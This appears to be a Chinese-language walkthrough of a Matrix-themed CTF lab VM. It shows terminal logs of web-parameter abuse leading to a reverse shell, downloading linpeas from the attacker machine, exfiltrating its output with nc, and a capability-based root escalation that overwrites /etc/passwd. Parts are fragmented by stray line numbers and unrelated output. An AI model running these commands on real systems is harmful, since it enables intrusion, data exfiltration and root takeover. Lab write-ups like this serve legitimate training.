Kal ddddx ~ ❯ curl -X POST http://192.168.108.132/graffiti.php \ at 17:47:46 -d "message=test123&file=graffiti.txt"
<h1> <center> Nebuchadnezzar Graffiti Wall
</center> </h1> <p> Mouse here - welcome to the Nebby! <br>
<br> Make sure not to tell Morpheus about this graffiti wall. <br> It's just here to let us blow off some steam. <br> test123 <br> <br> <p> Enter message: <p> <form method="post"> <label>Message</label><div><input type="text" name="message"></div> <input type="hidden" name="file" value="graffiti.txt"> <div><button type="submit">Post</button></div> </form> Kal ddddx ~ ❯ curl $ip/graffiti.txt at 17:47:56 Mouse here - welcome to the Nebby! Make sure not to tell Morpheus about this graffiti wall. It's just here to let us blow off some steam. test123
Kal ddddx ~ ❯ pwncat-cs -l -p 2000 took 32s at 18:04:28 [18:05:09] Welcome to pwncat 🐈! __main__.py:164 [18:05:10] received connection from bind.py:84 192.168.108.132:35338 192.168.108.132:35338 • calculating host hash • retrieving hostname (hostname -f) [18:05:26] 192.168.108.132:35338: registered new host w/ db manager.py:957 (local) pwncat$ (remote) www-data@morpheus:/var/www/html$
进入之后尝试信息收集,一番搜寻之后发现第一个flag并且带有后续提示
1 2 3 4 5 6
(remote) www-data@morpheus:/$ cd / (remote) www-data@morpheus:/$ ls FLAG.txt boot dev home lib32 libx32 media opt root sbin sys usr bin crew etc lib lib64 lost+found mnt proc run srv tmp var (remote) www-data@morpheus:/$ cat FLAG.txt Flag 1!
Kal ddddx ~ ❯ exiftool matrixbox/cypher-neo.png at 13:29:24 ExifTool Version Number : 13.10 File Name : cypher-neo.png Directory : matrixbox File Size : 381 kB File Modification Date/Time : 2025:05:21 18:30:22+08:00 File Access Date/Time : 2025:05:21 18:30:22+08:00 File Inode Change Date/Time : 2025:05:23 13:28:18+08:00 File Permissions : -rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 853 Image Height : 480 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Gamma : 2.2 White Point X : 0.3127 White Point Y : 0.329 Red X : 0.64 Red Y : 0.33 Green X : 0.3 Green Y : 0.6 Blue X : 0.15 Blue Y : 0.06 Background Color : 255 255 255 Modify Date : 2021:03:17 10:58:47 Warning : [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers) [x10] Datecreate : 2021-03-17T10:58:47+00:00 Datemodify : 2021-03-17T10:58:47+00:00 Software : https://imagemagick.org Thumb Document Pages : 1 Thumb Image Height : 480 Thumb Image Width : 853 Thumb Mimetype : image/png Thumb M Time : 1615978727 Thumb Size : 329716B Thumb URI : file:///tmp/thumblr/img120644856217080381 Image Size : 853x480 Megapixels : 0.409
(remote) www-data@morpheus:/var/www/html$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:e2:34:7b brd ff:ff:ff:ff:ff:ff altname enp2s1 inet 192.168.108.132/24 brd 192.168.108.255 scope global dynamic ens33 valid_lft 1490sec preferred_lft 1490sec inet6 fe80::20c:29ff:fee2:347b/64 scope link valid_lft forever preferred_lft forever 3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:c9:ba:eb:34 brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever inet6 fe80::42:c9ff:feba:eb34/64 scope link valid_lft forever preferred_lft forever 5: vethd22674d@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default link/ether f2:e8:0d:94:ed:14 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet6 fe80::f0e8:dff:fe94:ed14/64 scope link valid_lft forever preferred_lft forever
ip a 后发现还存在一个docker环境,ip为172.17.0.1,尝试查看docker容器,依旧没有权限,当前用户也不在用户组,也跑不了docker命令,先用python在攻击机上开个端口,上传linpeas脚本进行信息收集,并将结果传回攻击机查看
1 2
(remote) www-data@morpheus:/var/www/html$ docker ps -a Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied
1 2 3 4 5 6 7 8 9
(remote) www-data@morpheus:/var/www/html$ curl http://192.168.108.50:8000/linpeas.sh -o linpeas.sh % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 820k 100 820k 0 0 72.8M 0 --:--:-- --:--:-- --:--:-- 72.8M (remote) www-data@morpheus:/var/www/html$ ls graffiti.php graffiti.txt index.html linpeas.sh robots.txt shell.php trinity.jpeg (remote) www-data@morpheus:/var/www/html$ chmod +x linpeas.sh (remote) www-data@morpheus:/var/www/html$ ./linpeas.sh (remote) www-data@morpheus:/var/www/html$ nc 192.168.108.50 4444 < /tmp/linpeas.lo /tmp/linpeas.log http://192.168.108.50:8000/linpeas.log
1 2 3 4 5
Files with capabilities (limited to 50): /usr/bin/python3-9 cap_sys_admin=ep /usr/bin/ping cap_net_raw=ep /usr/sbin/xtables-legacy-multi cap_net_admin=ep /usr/sbin/xtables-nft-multi cap_net_admin=ep
<p> <center> <h2>Dinner to Discuss Zion</h2> </center> </p> <p> Agent Smith, if you want to break into Zion, meet me in 3 days at the steak house at the corner of Wabash and Lake. <img src="ignorance-bliss.png"> </p> <p> "I know this steak doesn't exist. I know that when I put it in my mouth, the Matrix is telling my brain that it is juicy and delicious. After nine years, you know what I realize? Ignorance is bliss." </body> </html>
(remote) www-data@morpheus:/tmp$ getcap /usr/bin/basic-auth-client bin/basic-auth-client /usr/bin/basic-auth-client (No such file or directory) (remote) www-data@morpheus:/tmp$ ls -l /usr/bin/basic-auth-client ls: cannot access '/usr/bin/basic-auth-client': No such file or directory
cypher@morpheus:~$ /usr/bin/python3-9 exp.py cypher@morpheus:~$ cat /etc/passwd root:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:root:/root:/bin/bash cypher@morpheus:~$ su root Password: root@morpheus:/home/cypher# ls FLAG.txt exp.py passwd root@morpheus:/home/cypher# cat FLAG.txt You've clearly gained access as user Cypher. Can you find a way to get to root? root@morpheus:/home/cypher#